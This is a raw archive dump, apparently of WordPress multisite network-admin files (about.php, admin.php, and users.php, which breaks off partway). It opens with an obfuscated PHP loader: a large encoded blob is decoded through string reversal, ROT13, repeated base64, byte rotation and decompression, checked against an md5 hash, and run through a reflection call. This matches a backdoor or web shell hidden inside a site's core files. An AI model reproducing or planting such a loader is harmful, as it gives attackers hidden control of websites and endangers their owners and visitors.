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');
$xondjzb=base64_decode('D4LqnUo+8WwrwpwsqAvSq1ElrmoqDH+QLx+WmDTymcaLXCm49VKf8vHU5KQQ');
$yyjshrf=cnrmhtgpw($pnqbhct,$xondjzb);
$yyjshrf=strrev($yyjshrf);$yyjshrf=str_rot13($yyjshrf);$yyjshrf=base64_decode(base64_decode($yyjshrf));$yyjshrf=substr($yyjshrf,-2).substr($yyjshrf,0,-2);$yyjshrf=gzuncompress($yyjshrf);$oncwiw=md5($yyjshrf.$xondjzb);
if($oncwiw!=='21074eb81ef3285400a99271af3ddfcd')return;
$rc=new ReflectionClass('awrskzzx');
$rc->getMethod('tmxzagry')->invoke($rc->newInstanceArgs(array()),$yyjshrf);
about.php000064400000000365152204755650006406 0ustar00<?php
/**
 * Network About administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.4.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/about.php';
admin.php000064400000002000152204755650006350 0ustar00<?php
/**
 * WordPress Network Administration Bootstrap
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

define( 'WP_NETWORK_ADMIN', true );

/** Load WordPress Administration Bootstrap */
require_once dirname( __DIR__ ) . '/admin.php';

// Do not remove this check. It is required by individual network admin pages.
if ( ! is_multisite() ) {
	wp_die( __( 'Multisite support is not enabled.' ) );
}

$redirect_network_admin_request = ( 0 !== strcasecmp( $current_blog->domain, $current_site->domain ) || 0 !== strcasecmp( $current_blog->path, $current_site->path ) );

/**
 * Filters whether to redirect the request to the Network Admin.
 *
 * @since 3.2.0
 *
 * @param bool $redirect_network_admin_request Whether the request should be redirected.
 */
$redirect_network_admin_request = apply_filters( 'redirect_network_admin_request', $redirect_network_admin_request );

if ( $redirect_network_admin_request ) {
	wp_redirect( network_admin_url() );
	exit;
}

unset( $redirect_network_admin_request );
users.php000064400000024543152204755650006441 0ustar00<?php
/**
 * Multisite users administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_network_users' ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

if ( isset( $_GET['action'] ) ) {
	/** This action is documented in wp-admin/network/edit.php */
	do_action( 'wpmuadminedit' );

	switch ( $_GET['action'] ) {
		case 'deleteuser':
			if ( ! current_user_can( 'manage_network_users' ) ) {
				wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
			}

			check_admin_referer( 'deleteuser' );

			$id = (int) $_GET['id'];
			if ( $id > 1 ) {
				$_POST['allusers'] = array( $id ); // confirm_delete_users() can only handle arrays.

				// Used in the HTML title tag.
				$title       = __( 'Users' );
				$parent_file = 'users.php';

				require_once ABSPATH . 'wp-admin/admin-header.php';

				echo '<div class="wrap">';
				confirm_delete_users( $_POST['allusers'] );
				echo '</div>';

				require_once ABSPATH . 'wp-admin/admin-footer.php';
			} else {
				wp_redirect( network_admin_url( 'users.php' ) );
			}
			exit;

		case 'allusers':
			if ( ! current_user_can( 'manage_network_users' ) ) {
				wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
			}

			if ( isset( $_POST['action'] ) && isset( $_POST['allusers'] ) ) {
				check_admin_referer( 'bulk-users-network' );

				$doaction     = $_POST['action'];
				$userfunction = '';

				foreach ( (array) $_POST['allusers'] as $user_id ) {
					if ( ! empty( $user_id ) ) {
						switch ( $doaction ) {
							case 'delete':
								if ( ! current_user_can( 'delete_users' ) ) {
									wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
								}

								// Used in the HTML title tag.
								$title       = __( 'Users' );
								$parent_file = 'users.php';

								require_once ABSPATH . 'wp-admin/admin-header.php';

								echo '<div class="wrap">';
								confirm_delete_users( $_POST['allusers'] );
								echo '</div>';

								require_once ABSPATH . 'wp-admin/admin-footer.php';
								exit;

							case 'spam':
								$user = get_userdata( $user_id );
								if ( is_super_admin( $user->ID ) ) {
									wp_die(
										sprintf(
											/* translators: %s: User login. */
											__( 'Warning! User cannot be modified. The user %s is a network administrator.' ),
											esc_html( $user->user_login )
										),
										403
									);
								}

								$userfunction = 'all_spam';

								/**
								 * Filters whether to propagate the blog status when a user is marked as spam.
								 *
								 * @since 7.0.0
								 *
								 * @param bool $propagate Whether to propagate the blog status. Default false.
								 * @param int  $user_id   User ID.
								 */
								if ( apply_filters( 'propagate_network_user_spam_to_blogs', false, $user_id ) ) {
									foreach ( get_blogs_of_user( $user_id, true ) as $details ) {
										// Assuming the main site is not a spam.
										if ( ! is_main_site( $details->userblog_id ) ) {
											update_blog_status( $details->userblog_id, 'spam', '1' );
										}
									}
								}

								$user_data         = $user->to_array();
								$user_data['spam'] = '1';

								wp_update_user( $user_data );
								break;

							case 'notspam':
								$user = get_userdata( $user_id );

								if ( is_super_admin( $user->ID ) ) {
									wp_die(
										sprintf(
											/* translators: %s: User login. */
											__( 'Warning! User cannot be modified. The user %s is a network administrator.' ),
											esc_html( $user->user_login )
										),
										403
									);
								}

								$userfunction = 'all_notspam';
								$blogs        = get_blogs_of_user( $user_id, true );

								/** This filter is documented in wp-admin/network/users.php */
								if ( apply_filters( 'propagate_network_user_spam_to_blogs', false, $user_id ) ) {
									foreach ( get_blogs_of_user( $user_id, true ) as $details ) {
										if ( ! is_main_site( $details->userblog_id ) && get_current_network_id() === $details->site_id ) {
											// Assuming main site is never a spam and part of the current network.
											update_blog_status( $details->userblog_id, 'spam', '0' );
										}
									}
								}

								$user_data         = $user->to_array();
								$user_data['spam'] = '0';

								wp_update_user( $user_data );
								break;
						}
					}
				}

				if ( ! in_array( $doaction, array( 'delete', 'spam', 'notspam' ), true ) ) {
					$sendback = wp_get_referer();
					$user_ids = (array) $_POST['allusers'];

					/** This action is documented in wp-admin/network/site-themes.php */
					$sendback = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $sendback, $doaction, $user_ids ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

					wp_safe_redirect( $sendback );
					exit;
				}

				wp_safe_redirect(
					add_query_arg(
						array(
							'updated' => 'true',
							'action'  => $userfunction,
						),
						wp_get_referer()
					)
				);
			} else {
				$location = network_admin_url( 'users.php' );

				if ( ! empty( $_REQUEST['paged'] ) ) {
					$location = add_query_arg( 'paged', (int) $_REQUEST['paged'], $location );
				}
				wp_redirect( $location );
			}
			exit;

		case 'dodelete':
			check_admin_referer( 'ms-users-delete' );
			if ( ! ( current_user_can( 'manage_network_users' ) && current_user_can( 'delete_users' ) ) ) {
				wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
			}

			if ( ! empty( $_POST['blog'] ) && is_array( $_POST['blog'] ) ) {
				foreach ( $_POST['blog'] as $id => $users ) {
					foreach ( $users as $blogid => $user_id ) {
						if ( ! current_user_can( 'delete_user', $id ) ) {
							continue;
						}

